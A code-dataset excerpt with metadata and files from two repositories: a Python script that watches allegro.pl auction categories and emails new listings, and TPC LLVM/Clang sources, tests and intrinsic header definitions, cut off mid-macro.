repo_name
stringlengths
5
114
repo_url
stringlengths
24
133
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
directory_id
stringlengths
40
40
branch_name
stringclasses
209 values
visit_date
timestamp[ns]
revision_date
timestamp[ns]
committer_date
timestamp[ns]
github_id
int64
9.83k
683M
star_events_count
int64
0
22.6k
fork_events_count
int64
0
4.15k
gha_license_id
stringclasses
17 values
gha_created_at
timestamp[ns]
gha_updated_at
timestamp[ns]
gha_pushed_at
timestamp[ns]
gha_language
stringclasses
115 values
files
listlengths
1
13.2k
num_files
int64
1
13.2k
Qyon/AllegroObserver
https://github.com/Qyon/AllegroObserver
dde4cea398bb6a74937d98d4c08315ed5c2001ce
6f7c151f8099db01b902021bd80cd77adb6fde3a
a014c623a7bcc02a50fa51c387aeb7d82c329dae
refs/heads/master
2021-01-19T06:06:38.387517
2013-02-15T22:59:42
2013-02-15T22:59:42
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5368010401725769, "alphanum_fraction": 0.5414824485778809, "avg_line_length": 30.533897399902344, "blob_id": "744c2554d7fe4b4b7204ffb7f1198a86a47e9457", "content_id": "5b0f393a85fffd427e7882195e26a67f6e33566c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3856, "license_type": "no_license", "max_line_length": 94, "num_lines": 118, "path": "/allegro/api.py", "repo_name": "Qyon/AllegroObserver", "src_encoding": "UTF-8", "text": "# coding=utf-8\r\n__author__ = 'Qyon'\r\nfrom suds.client import Client\r\nfrom suds import WebFault\r\nimport time\r\n\r\nimport logging\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\nclass InvalidSessionException(Exception):\r\n pass\r\n\r\n\r\nclass ApiHelper(object):\r\n \"\"\"\r\n ...\r\n \"\"\"\r\n\r\n def __init__(self, settings):\r\n logger.debug('Inicjalizacja')\r\n self.settings = settings\r\n self.client = self.getApiClient()\r\n self.session = self.getSession()\r\n self.get_auctions_retry_count = 0\r\n\r\n def getApiClient(self):\r\n \"\"\"\r\n Pobiera klienta SOAPowego\r\n \"\"\"\r\n logger.debug('getApiClient')\r\n client = Client('http://webapi.allegro.pl/uploader.php?wsdl')\r\n return client\r\n\r\n def getSysStatus(self):\r\n \"\"\"\r\n Metoda pozwala na pobranie wartości jednego z wersjonowanych komponentów\r\n (drzewo kategorii oraz pola formularza sprzedaży) oraz umożliwia podgląd klucza wersji\r\n dla wskazanego krajów.\r\n \"\"\"\r\n data_dict = {\r\n 'sysvar': 3,\r\n 'country-id': self.settings.ALLEGRO_COUNTRY,\r\n 'webapi-key': self.settings.ALLEGRO_KEY\r\n }\r\n return self.client.service.doQuerySysStatus(**data_dict)\r\n\r\n def getSession(self):\r\n \"\"\"\r\n Pobierz sesję dla usera z Allegro.\r\n \"\"\"\r\n sys_info = self.getSysStatus()\r\n\r\n data_dict = {\r\n 'user-login': self.settings.ALLEGRO_LOGIN,\r\n 'user-password': self.settings.ALLEGRO_PASSWORD,\r\n 'country-code': self.settings.ALLEGRO_COUNTRY,\r\n 'webapi-key': self.settings.ALLEGRO_KEY,\r\n 'local-version': sys_info['ver-key'] or self.settings.ALLEGRO_LOCALVERSION\r\n }\r\n logger.debug('getSession')\r\n return self.client.service.doLogin(**data_dict)\r\n\r\n def _get_auctions(self, doShowCatParams, offset):\r\n doShowCatParams['cat-items-offset'] = offset\r\n logger.info(\"Pobieram aukcje. Offset %d\" % (doShowCatParams['cat-items-offset'], ))\r\n\r\n try:\r\n result = self.client.service.doShowCat(**doShowCatParams)\r\n except WebFault as e:\r\n if 'Sesja wygas' in e.message:\r\n raise InvalidSessionException\r\n logger.exception('API ERROR?')\r\n raise e\r\n\r\n return result\r\n\r\n def getAuctions(self):\r\n \"\"\"\r\n\r\n \"\"\"\r\n logger.info('getAuctions')\r\n doShowCatParams = {\r\n 'session-handle': getattr(self.session, 'session-handle-part'),\r\n 'cat-id': self.settings.CATEGORY_ID,\r\n 'cat-items-limit': 100,\r\n 'cat-items-offset': 0,\r\n }\r\n\r\n all_auctions = []\r\n result = {}\r\n first = True\r\n offset = 0\r\n while first or len(all_auctions) < getattr(result, 'cat-items-count', 0):\r\n first = False\r\n try:\r\n result = self._get_auctions(doShowCatParams, offset)\r\n except InvalidSessionException as e:\r\n if self.get_auctions_retry_count < 10:\r\n logger.warning('Wygasła sesja. Próbuję odnowić')\r\n self.session = self.getSession()\r\n logger.debug('Sleep na 10 sekund, na wszelki wypadek...')\r\n time.sleep(10)\r\n return {}\r\n else:\r\n raise e\r\n\r\n offset += 1\r\n self.get_auctions_retry_count = 0\r\n items = getattr(result, 'cat-items-array')\r\n if not items or len(items) <= 0:\r\n print result\r\n logger.debug('Brak aukcji?')\r\n break\r\n all_auctions += items\r\n logger.info(\"Pobrano %d aukcji\" % (len(all_auctions), ))\r\n\r\n return dict([(getattr(i, 's-it-id'), i) for i in all_auctions])\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.695652186870575, "alphanum_fraction": 0.695652186870575, "avg_line_length": 22, "blob_id": "6a83abd88307e2a5adab072f5eb528de0c228c1b", "content_id": "be1a9aa787118e3e1820ed7752ac0ea17c7538f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 46, "license_type": "no_license", "max_line_length": 25, "num_lines": 2, "path": "/allegro/__init__.py", "repo_name": "Qyon/AllegroObserver", "src_encoding": "UTF-8", "text": "__author__ = 'Qyon'\nfrom api import ApiHelper\n" }, { "alpha_fraction": 0.6896551847457886, "alphanum_fraction": 0.7290640473365784, "avg_line_length": 15.916666984558105, "blob_id": "b192f16b934f51d331aeb4125e8e10cf56baed42", "content_id": "458385453ac20f256afbb1d7955716e2d9d0ccce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 203, "license_type": "no_license", "max_line_length": 29, "num_lines": 12, "path": "/settings.sample.py", "repo_name": "Qyon/AllegroObserver", "src_encoding": "UTF-8", "text": "__author__ = 'Qyon'\n\nALLEGRO_LOGIN='login'\nALLEGRO_PASSWORD='pass'\nALLEGRO_KEY='key'\nALLEGRO_LOCALVERSION=3\n\nCATEGORY_ID=28273\nEMAIL_TO='[email protected]'\nEMAIL_FROM='[email protected]'\n#in minutes\nCHECK_INTERVAL=30\n" }, { "alpha_fraction": 0.6962025165557861, "alphanum_fraction": 0.6962025165557861, "avg_line_length": 19, "blob_id": "001b25b14f4016ccfd5df12546df5d57be822969", "content_id": "e0fd8764a37e4d51c73069f36769af565cc12b80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 79, "license_type": "no_license", "max_line_length": 46, "num_lines": 4, "path": "/README.md", "repo_name": "Qyon/AllegroObserver", "src_encoding": "UTF-8", "text": "AllegroObserver\n===============\n\nSkrypt do obserwowania kategorii na allegro.pl" }, { "alpha_fraction": 0.7383268475532532, "alphanum_fraction": 0.7383268475532532, "avg_line_length": 26.078947067260742, "blob_id": "3ee4c6fd9f0e721cd684af169ebdb137a72fc8e6", "content_id": "cb0c3960a72acacb03058930564f500c9b7cf4eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1028, "license_type": "no_license", "max_line_length": 85, "num_lines": 38, "path": "/run.py", "repo_name": "Qyon/AllegroObserver", "src_encoding": "UTF-8", "text": "__author__ = 'Qyon'\n\nimport settings\nfrom observer import Observer\nimport logging\n\n# create console handler and set level to debug\nconsoleHandler = logging.StreamHandler()\nconsoleHandler.setLevel(logging.DEBUG)\n# create file handler and set level to debug\nfileHandler = logging.FileHandler('allegro_observer.log')\nfileHandler.setLevel(logging.DEBUG)\n# create formatter\nformatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\n# add formatter to ch\nconsoleHandler.setFormatter(formatter)\nfileHandler.setFormatter(formatter)\n\nfor lname in ('allegro', 'observer', ):\n logger = logging.getLogger(lname)\n logger.setLevel(logging.DEBUG)\n logger.addHandler(consoleHandler)\n logger.addHandler(fileHandler)\n\nfor lname in ( 'suds.client', ):\n logger = logging.getLogger(lname)\n logger.setLevel(logging.ERROR)\n logger.addHandler(consoleHandler)\n logger.addHandler(fileHandler)\n\n\ndef main():\n observer = Observer(settings)\n observer.watch()\n\nif __name__ == \"__main__\":\n main()" }, { "alpha_fraction": 0.5517609119415283, "alphanum_fraction": 0.5574528574943542, "avg_line_length": 33.69135665893555, "blob_id": "18e3b84a5b25bda2a5d1704b4430a9836257447f", "content_id": "43fc490c124a6cfb3c886bb5f4dcfb17018abe29", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2815, "license_type": "no_license", "max_line_length": 127, "num_lines": 81, "path": "/observer.py", "repo_name": "Qyon/AllegroObserver", "src_encoding": "UTF-8", "text": "# coding=utf-8\n__author__ = 'Qyon'\nimport allegro\nimport time\n# Import smtplib for the actual sending function\nimport smtplib\n# Import the email modules we'll need\nfrom email.mime.text import MIMEText\nimport logging\n\nlogger = logging.getLogger(__name__)\nprint __name__\n\nclass Observer(object):\n def __init__(self, settings):\n self.settings = settings\n self.apiHelper = allegro.ApiHelper(self.settings)\n self.auctions = {}\n self.getAuctions()\n self.sleep_time_default = 60 * self.settings.CHECK_INTERVAL\n self.sleep_time_short = int(60 * self.settings.CHECK_INTERVAL / 10)\n self.sleep_time = self.sleep_time_default\n\n def getAuctions(self):\n self.old_auctions = self.auctions\n auctions = self.apiHelper.getAuctions()\n if auctions and len(auctions):\n self.auctions = auctions\n return True\n else:\n return False\n\n def getDelta(self):\n if not self.old_auctions:\n logger.debug('nie ma starych aukcji')\n return []\n #else:\n # logger.debug('TEST: usuwamy 1 element z listy starych')\n # del self.old_auctions[self.old_auctions.keys()[0]]\n\n delta = [self.auctions[i] for i in set(self.auctions.keys()) - set(self.old_auctions.keys())]\n return delta\n\n def watch(self):\n while True:\n delta = self.getDelta()\n if delta:\n self.handleDelta(delta)\n logger.info(\"Sleep for %d\" % (self.sleep_time, ))\n time.sleep(self.sleep_time)\n if self.getAuctions():\n self.sleep_time = self.sleep_time_default\n else:\n self.sleep_time = self.sleep_time_short\n\n def handleDelta(self, delta):\n content = 'Nowe aukcje na allegro:<br><ul>'\n for i in delta:\n price = getattr(i, 's-it-price', None)\n if price is None or price <= 0.0:\n price = getattr(i, 's-it-buy-now-price', 0.0)\n str_data = (\n getattr(i, 's-it-id'),\n getattr(i, 's-it-thumb-url'),\n getattr(i, 's-it-name'),\n price\n )\n content += '<li><a href=\"http://allegro.pl/show_item.php?item=%s\"><img src=\"%s\">%s (%2.2f PLN)</a></li>' % str_data\n\n content += '</ul>'\n msg = MIMEText(content, 'html', 'utf-8')\n msg['Subject'] = 'Na allegro jest %d nowych aukcji' % (len(delta),)\n msg['To'] = self.settings.EMAIL_TO\n\n try:\n s = smtplib.SMTP('localhost')\n s.sendmail(self.settings.EMAIL_FROM, [self.settings.EMAIL_TO], msg.as_string())\n logger.info('Wysyłam maila')\n s.quit()\n except:\n logger.exception('Błąd w czasie wysyłania maila')\n\n" } ]
6
Daasin/tpc_llvm
https://github.com/Daasin/tpc_llvm
d9942f0a031213ba5f23e2053d04c3649aa67b03
ece488f96ae81dd9790f07438a949407dc87ef66
48a400042c41feb1b305da0aff3b8a2ad535bdc1
refs/heads/main
2023-07-29T16:10:36.488513
2021-08-23T10:38:48
2021-09-10T05:48:53
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6345415711402893, "alphanum_fraction": 0.6383795142173767, "avg_line_length": 30.266666412353516, "blob_id": "1229a114e3d8d709116e3a4bdeb3f77e63efcb97", "content_id": "8752648180784c974dcc6bda64e02962fdaf59a3", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2345, "license_type": "permissive", "max_line_length": 89, "num_lines": 75, "path": "/llvm/lib/Target/TPC/TPCTools.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- llvm/IR/TPCTools.h --- TPC target support in IR ----------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This header file defines prototypes for functions used in TPC specific\n// IR level passes.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef TPCTOOLS_H\n#define TPCTOOLS_H\n\n#include \"llvm/ADT/DenseMap.h\"\n#include \"llvm/ADT/SmallPtrSet.h\"\n#include \"llvm/ADT/SmallVector.h\"\n#include \"llvm/IR/GlobalVariable.h\"\n#include \"llvm/IR/Instruction.h\"\n#include \"llvm/IR/IRBuilder.h\"\n#include \"llvm/IR/Type.h\"\n#include \"llvm/IR/Value.h\"\n\nnamespace llvm {\n\nbool isTpcVectorType(const Type *Ty);\nbool isVolatile(const Instruction *Inst);\nbool isVolatileVariable(const GlobalVariable &V);\nbool isAddressTaken(const Value *V);\n\n/// Replace all uses of \\c Old with \\c New.\n///\n/// This function make similar transformation as \\c replaceAllUsesWith, but it\n/// is capable of changing address space of the values and also can replace\n/// constant expressions with non-constant and vice versa.\n///\n/// \\param Old The value to replace.\n/// \\param New The replacement value.\n/// \\param Builder The builder used to create new instructions.\n/// \\param DeletedInstrs Instructions made unused as a result of the\n/// transformation go into this container.\n///\nvoid rauwConvertingAddressSpace(Value *Old, Value *New,\n IRBuilder<> *Builder = nullptr,\n SmallPtrSetImpl<Instruction *> *DeletedInstrs = nullptr);\n\nclass ValueReplacer {\npublic:\n ValueReplacer() {}\n ~ValueReplacer() { clear(); }\n\n void clear();\n void replace(Value *Old, Value *New);\n\nprivate:\n\n struct PHIInfo {\n bool IsDetermined() const;\n void resolve();\n\n PHINode *NewPHI = nullptr;\n SmallVector<Value *, 8> NewArguments;\n };\n void schedule(Value *Old, Value *New);\n void processItem(Value *Old, Value *New);\n\n SmallVector<std::pair<Value *, Value *>, 16> WorkList;\n SmallPtrSet<Instruction *, 16> DeletedInstructions;\n DenseMap<PHINode *, PHIInfo> PHIMapping;\n};\n\n}\n#endif\n" }, { "alpha_fraction": 0.5025728940963745, "alphanum_fraction": 0.6226415038108826, "avg_line_length": 43.846153259277344, "blob_id": "7832af9648b2c34994256e111aee5948783463b7", "content_id": "beabb233919d18cfcecd7b85a5f812188e5b1a3e", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 583, "license_type": "permissive", "max_line_length": 139, "num_lines": 13, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_int256_to_uint256.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n int256 *sptr = (int256 *)src;\n uint256 *dptr = (uint256 *)dest;\n int256 src_val = *sptr;\n *dptr = convert_int256_to_uint256(src_val, 0);\n}\n\n// CHECK-IR: call <256 x i32> @llvm.tpc.convert.v256i32.v256i32.i1(<256 x i32> {{.*}}, i8 2, i32 768, <256 x i32> undef, i1 true, i1 false)\n\n// CHECK-ASM: ld_l_v [[SRC:%V[0-9]+]], %S0\n// CHECK-ASM: convert.u32 all_lanes target_type=int32 rhne %V{{[0-9]+}}, [[SRC]]\n" }, { "alpha_fraction": 0.5604838728904724, "alphanum_fraction": 0.6149193644523621, "avg_line_length": 40.33333206176758, "blob_id": "0453930721d98004b8d513f2b548ad2848b3cb74", "content_id": "e342d380e0b75be228cef134e5d56fdce4009fab", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 496, "license_type": "permissive", "max_line_length": 123, "num_lines": 12, "path": "/clang/test/RC99/IntrinsicsM/diag/err_mac-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 %s -verify\n\nvoid main(signed char x0, _Bool pred) {\n float fres = 0.0;\n fres = s_f32_mac(x0, 1, fres, SW_SAT, 1, 0); // expected-error{{type 'float' is incompatible with swicth SW_SAT}}\n fres = s_f32_mac(x0, 1, fres, 18, 1, 0); // expected-error{{type 'float' is incompatible with swicth SW_X2_MAC}}\n\n int ires = 0;\n\n // Target dependent diagnostic.\n ires = s_i8_mac(x0, 1, ires, SW_NEG, 1, 0); // todo: incompatible\n}\n" }, { "alpha_fraction": 0.5180103182792664, "alphanum_fraction": 0.6466552019119263, "avg_line_length": 47.58333206176758, "blob_id": "3c25e20388cfadc3187619b6992d4d65fc06ab18", "content_id": "1e73f5fb1f34b52327974d26255cc5c7666af5a0", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 583, "license_type": "permissive", "max_line_length": 144, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_float128_to_uint128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n float128 *sptr = (float128 *)src;\n uint128 *dptr = (uint128 *)dest;\n float128 src_val = *sptr;\n *dptr++ = convert_float128_to_uint128(src_val, SW_RZ);\n *dptr = convert_float128_to_uint128(src_val, SW_RD);\n}\n\n// CHECK-IR: fptoui <128 x float> {{.*}} to <128 x i32>\n// CHECK-IR: call <128 x i32> @llvm.tpc.convert.v128i32.v128f32.i1(<128 x float> {{.*}}, i8 0, i32 197376, <128 x i32> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.45714592933654785, "alphanum_fraction": 0.542148232460022, "avg_line_length": 34.402793884277344, "blob_id": "22253f6c19b3394deded24656164fc5cff478eb1", "content_id": "147fc6ce98f43d67b0571ae8b8315fb458d0a688", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 83586, "license_type": "permissive", "max_line_length": 125, "num_lines": 2361, "path": "/clang/lib/Headers/tpc-special.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--- tpc-special.h-----------------------------------------*- TPC-C-*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n#if defined(INCLUDE_TPC_SPECIAL_H) && !defined(TPC_SPECIAL_H_INCLUDED)\n#define TPC_SPECIAL_H_INCLUDED\n\n// These are definitions previously defined in 'tpc-defs.h'. They are not part\n// of compiler support library, just only definitions that are wanted to be\n// available without inclusion of any header file.\n\ntypedef enum _e_round_mode {\n e_round_half_ne = 0,\n e_round_zero = 1,\n e_round_up = 2,\n e_round_down = 3,\n e_round_stochastic = 4,\n e_round_half_az = 6\n} e_round_mode;\n\ntypedef enum _e_compare_value {\n e_compare_bit_0 = 0,\n e_compare_bit_1 = 1\n} e_compare_value;\n\ntypedef enum _e_search_dir {\n e_start_from_lsb = 0,\n e_start_from_msb = 1\n} e_search_dir;\n\ntypedef enum _e_mov_flavor {\n e_bits_0_31 = 0,\n e_bits_32_63 = 1,\n e_bits_64_95 = 2,\n e_bits_96_127 = 3,\n e_bits_128_159 = 4,\n e_bits_160_191 = 5,\n e_bits_192_223 = 6,\n e_bits_224_255 = 7,\n e_standard_mov = 8\n} e_mov_flavor;\n\ntypedef enum _e_saturation {\n e_no_saturation = 0,\n e_saturate = 1\n} e_saturation;\n\ntypedef enum _e_negation {\n e_no_negation = 0,\n e_with_negation = 1\n} e_negation;\n\ntypedef enum _e_aso_op {\n e_aso_increment = 0,\n e_aso_decrement = 1\n} e_aso_op;\n\ntypedef enum _e_aso_access_type {\n e_aso_prefetch = 0,\n e_aso_commit = 1\n} e_aso_access_type;\n\ntypedef enum _e_return_bits {\n e_return_lower_32 = 0,\n e_return_upper_32 = 1\n} e_return_bits;\n\ntypedef enum _e_count_type {\n e_count_zeros = 0,\n e_count_ones = 1\n} e_count_type;\n\ntypedef enum _e_mul_behavior {\n e_mul_default = 0,\n e_doube_and_round = 1\n} e_mul_behavior;\n\ntypedef enum _e_group_source {\n e_group_0 = 0,\n e_group_1 = 1\n} e_group_source;\n\ntypedef enum _e_element_stride {\n e_every_second_element = 0,\n e_every_forth_element = 1\n} e_element_stride;\n\ntypedef enum _e_group_half {\n e_lower_half_group = 0,\n e_higher_half_group = 1\n} e_group_half;\n\n#ifdef __goya__\ntypedef enum _e_lookup_data_type {\n e_lookup_fp32 = 0,\n e_lookup_reserved = 1,\n e_lookup_fp16_low = 2,\n e_lookup_fp16_high = 3,\n e_lookup_int8_0 = 4,\n e_lookup_int8_1 = 5,\n e_lookup_int8_2 = 6,\n e_lookup_int8_3 = 7\n} e_lookup_data_type;\n#elif defined(__gaudi__)\ntypedef enum _e_lookup_data_type {\n e_lookup_fp32 = 0,\n e_lookup_bv16 = 1\n} e_lookup_data_type;\n#else\n#error \"Undefined processor\"\n#endif\n\n#ifdef __goya__\ntypedef enum _e_function_id\n{\n e_fp32_tanh = 0,\n e_fp32_rsqrt = 1,\n e_fp32_log2 = 2,\n e_fp32_sqrt = 16,\n e_fp32_rcp = 17,\n e_fp32_sin_cos = 18,\n e_fp32_pow2_128 = 19,\n e_fp16_tanh_128 = 20,\n e_i16_tanh_128 = 21,\n e_i16_sigmoid_128 = 22,\n e_i16_exp_nep_128 = 23,\n e_i16_rcp_128 = 24,\n e_i8_tanh_linear_128 = 25,\n e_i8_sigmoid_linear_128 = 26,\n e_i8_exp_linear_128 = 27,\n e_i8_tanh_128 = 28,\n e_fp32_pow2 = 32,\n e_fp16_tanh = 33,\n e_i16_tanh = 34,\n e_i16_sigmoid = 35,\n e_i16_exp_nep = 36,\n e_i16_rcp = 37,\n e_i8_tanh_linear = 38,\n e_i8_sigmoid_linear = 39,\n e_i8_exp_linear = 40,\n e_i16_gelu_minus_relu = 41,\n e_fp16_rsqrt = 48,\n e_fp16_log2 = 49,\n e_fp16_sqrt = 50,\n e_fp16_rcp = 51,\n e_fp16_sin_cos = 52,\n e_fp16_pow2 = 53,\n e_i8_tanh = 54\n} e_function_id;\n#elif defined(__gaudi__)\ntypedef enum _e_function_id {\n e_fp32_tanh = 0,\n e_fp32_rsqrt = 1,\n e_fp32_log2 = 2,\n e_i8_sqrt = 3,\n e_u16_sqrt = 4,\n e_u32_power4 = 5,\n e_i8_sqrt_c0 = 6,\n e_u16_sqrt_c0 = 7,\n e_fp32_sqrt = 128,\n e_fp32_rcp = 129,\n e_fp32_sin_cos = 130,\n e_bf16_rcp_scalar_m7 = 131,\n e_bf16_sin_cos_scalar_m7 = 132,\n e_bf16_sin_cos_linear_m6 = 133,\n e_bf16_sin_cos_poly2_m6_c2c1 = 134,\n e_bf16_sin_cos_poly2_m6_c0 = 135,\n e_bf16_log2_linear_interleaved_m5 = 136,\n e_fp32_pow2 = 256,\n e_bf16_tanh = 257,\n e_i16_tanh = 258,\n e_i16_sigmoid = 259,\n e_i16_exp_neg = 260,\n e_i16_rcp = 261,\n e_i8_tanh_linear = 262,\n e_i8_sigmoid_linear = 263,\n e_i8_exp_linear = 264,\n e_bf16_tanh_c0 = 265,\n e_i16_tanh_c0 = 266,\n e_i16_sigmoid_c0 = 267,\n e_i16_exp_neg_c0 = 268,\n e_i16_rcp_c0 = 269,\n e_i8_tanh_linear_c0 = 270,\n e_i8_sigmoid_linear_c0 = 271,\n e_i8_exp_linear_c0 = 272,\n e_bf16_tanh_linear_m4 = 273,\n e_bf16_tanh_poly2_m4_c2c1 = 274,\n e_bf16_tanh_poly2_m4_c0 = 275,\n e_bf16_sqrt_scalar_m6 = 276,\n e_bf16_log2_linear_m5 = 277,\n e_bf16_sin_cos_linear_m5 = 278,\n e_bf16_sin_cos_poly_m5_c2c1 = 279,\n e_bf16_sin_cos_poly2_m5_co = 280,\n e_bf16_rcp_m7_c0 = 288,\n e_bf16_rsqrt = 384,\n e_bf16_log2 = 385,\n e_bf16_sqrt = 386,\n e_f16_sqrt_poly_m2_c2c1 = 386, // sqrt_coeffs_fp16 table is same as sqrt_coeffs_bf16\n e_bf16_rcp = 387,\n e_bf16_sin_cos = 388,\n e_bf16_pow2 = 389,\n e_i8_tanh = 390,\n e_bf16_rsqrt_c0 = 391,\n e_bf16_log2_c0 = 392,\n e_bf16_sqrt_c0 = 393,\n e_f16_sqrt_poly_m2_c0 = 393, // sqrt_coeffs_fp16 table is same as sqrt_coeffs_bf16\n e_bf16_rcp_c0 = 394,\n e_bf16_sin_cos_c0 = 395,\n e_bf16_pow2_c0 = 396,\n e_i8_tanh_c0 = 397,\n e_bf16_rcp_scalar = 398,\n e_f16_rcp_poly_m3_c2c1 = 398, // recip_coeffs_fp16 table is same as recip_coeffs_bf16\n e_bf16_rcp_linear_m2 = 399,\n e_bf16_rcp_linear_m3 = 400,\n e_bf16_rcp_linear_m4 = 401,\n e_bf16_rcp_poly_m2_c2c1 = 402,\n e_bf16_rcp_poly_m3_c2c1 = 403,\n e_bf16_rcp_poly_m4_c2c1 = 404,\n e_bf16_rcp_poly_m2_c0 = 405,\n e_bf16_rcp_poly_m3_c0 = 406,\n e_bf16_rcp_poly_m4_c0 = 407,\n e_f16_rcp_poly_m3_c0 = 408,\n e_bf16_sqrt_linear_m2 = 409,\n e_bf16_sqrt_linear_m3 = 410,\n e_bf16_sqrt_linear_m4 = 411,\n e_bf16_sqrt_poly2_m2_c2c1 = 412,\n e_bf16_sqrt_poly2_m3_c2c1 = 413,\n e_bf16_sqrt_poly2_m4_c2c1 = 414,\n e_bf16_sqrt_poly2_m2_c0 = 415,\n e_bf16_sqrt_poly2_m3_c0 = 416,\n e_bf16_sqrt_poly2_m4_c0 = 417,\n e_bf16_tanh_linear_m2 = 418,\n e_bf16_tanh_linear_m3 = 419,\n e_bf16_tanh_poly2_m2_c2c1 = 421,\n e_bf16_tanh_poly2_m3_c2c1 = 422,\n e_bf16_tanh_poly2_m2_c0 = 424,\n e_bf16_tanh_poly2_m3_c0 = 425,\n e_bf16_log2ml_linear_m4 = 426,\n e_bf16_sin_cos_linear_m2 = 427,\n e_bf16_sin_cos_linear_m3 = 428,\n e_bf16_sin_cos_linear_m4 = 429,\n e_bf16_sin_cos_poly2_m2_c2c1 = 430,\n e_bf16_sin_cos_poly2_m2_c0 = 431,\n e_bf16_sin_cos_poly2_m3_c2c1 = 432,\n e_bf16_sin_cos_poly2_m3_c0 = 433,\n e_bf16_sin_cos_poly2_m4_c2c1 = 434,\n e_bf16_sin_cos_poly2_m4_c0 = 435,\n e_f16_rsqrt_poly_m3_c2c1 = 440,\n e_f16_rsqrt_poly_m3_c0 = 441,\n e_f16_pow2_poly_m2_c2c1 = 444,\n e_f16_pow2_poly_m2_c0 = 445,\n} e_function_id;\n#else\n#error \"Undefined processor\"\n#endif\n\ntypedef enum _e_abc_int_norm_sel {\n e_normalize_ab = 0,\n e_normalize_c = 1\n} e_abc_int_norm_sel;\n\ntypedef enum _e_func_variant {\n e_func_variant_default = 0,\n e_func_variant_tanh = 1,\n e_func_variant_sqrt_rsqrt = 2,\n e_func_variant_sin_cos = 3\n} e_func_variant;\n\ntypedef struct _permute_t {\n unsigned int bitfielv4;\n} permute_t;\n\ntypedef enum _e_fp_special_values {\n e_fp_nan = 0,\n e_fp_pos_inf = 1,\n e_fp_neg_inf = 2,\n e_fp_negative = 3,\n e_fp_zero = 4,\n e_fp_positive = 5,\n e_fp_denormalized = 6\n} e_fp_special_values;\n\ntypedef struct _fp_special_values_t {\n unsigned int bitfielv4;\n} fp_special_values_t;\n\ntypedef enum _e_prefetch_level {\n e_prefetch_l1 = 0,\n e_prefetch_l2 = 1,\n e_prefetch_l3 = 3,\n} e_prefetch_level;\n\ntypedef enum _e_access_type {\n e_access_slm = 0,\n e_access_mmio = 1\n} e_access_type;\n\n#if defined(__gaudi__)\ntypedef enum _e_calc_fp_special {\n e_fp_recip = 0,\n e_fp_rsqrt = 1,\n e_fp_sqrt = 2,\n e_fp_log = 3,\n e_fp_exp = 4,\n e_fp_tanh = 5,\n e_fp_div = 6,\n e_fp_pow = 7\n} e_calc_fp_special;\n\ntypedef enum _e_rmw_datatype {\n e_rmw_int8 = 0,\n e_rmw_int16 = 1,\n e_rmw_int32 = 2,\n e_rmw_uint8 = 3,\n e_rmw_uint16 = 4,\n e_rmw_uint32 = 5,\n e_rmw_bf16 = 6,\n e_rmw_fp32 = 7\n} e_rmw_datatype;\n\ntypedef enum _e_rmw_op {\n e_rmw_add = 0,\n e_rmw_sub = 1,\n e_rmw_min = 2,\n e_rmw_max = 3\n} e_rmw_op;\n\ntypedef enum _e_rmw_set {\n e_rmw_plain = 0,\n e_rmw_atomic = 1\n} e_rmw_set;\n\ntypedef enum _e_tnsr_dt_location {\n e_tnsr_dt_srf = 0,\n e_tnsr_dt_desc = 1\n} e_tnsr_dt_location;\n#endif\n\n#ifndef NO_TPC_PRINTF\n\n#define PP_ARG(...) PP_ARG_(__VA_ARGS__, PP_DEFAULT())\n#define PP_ARG_(...) PP_ARG_2(__VA_ARGS__)\n#define PP_ARG_2(x,y,...) x,y\n#ifdef __cplusplus\n# define PP_DEFAULT() false\n#else\n# define PP_DEFAULT() (_Bool)0\n#endif\n#define PP_mediate(...) 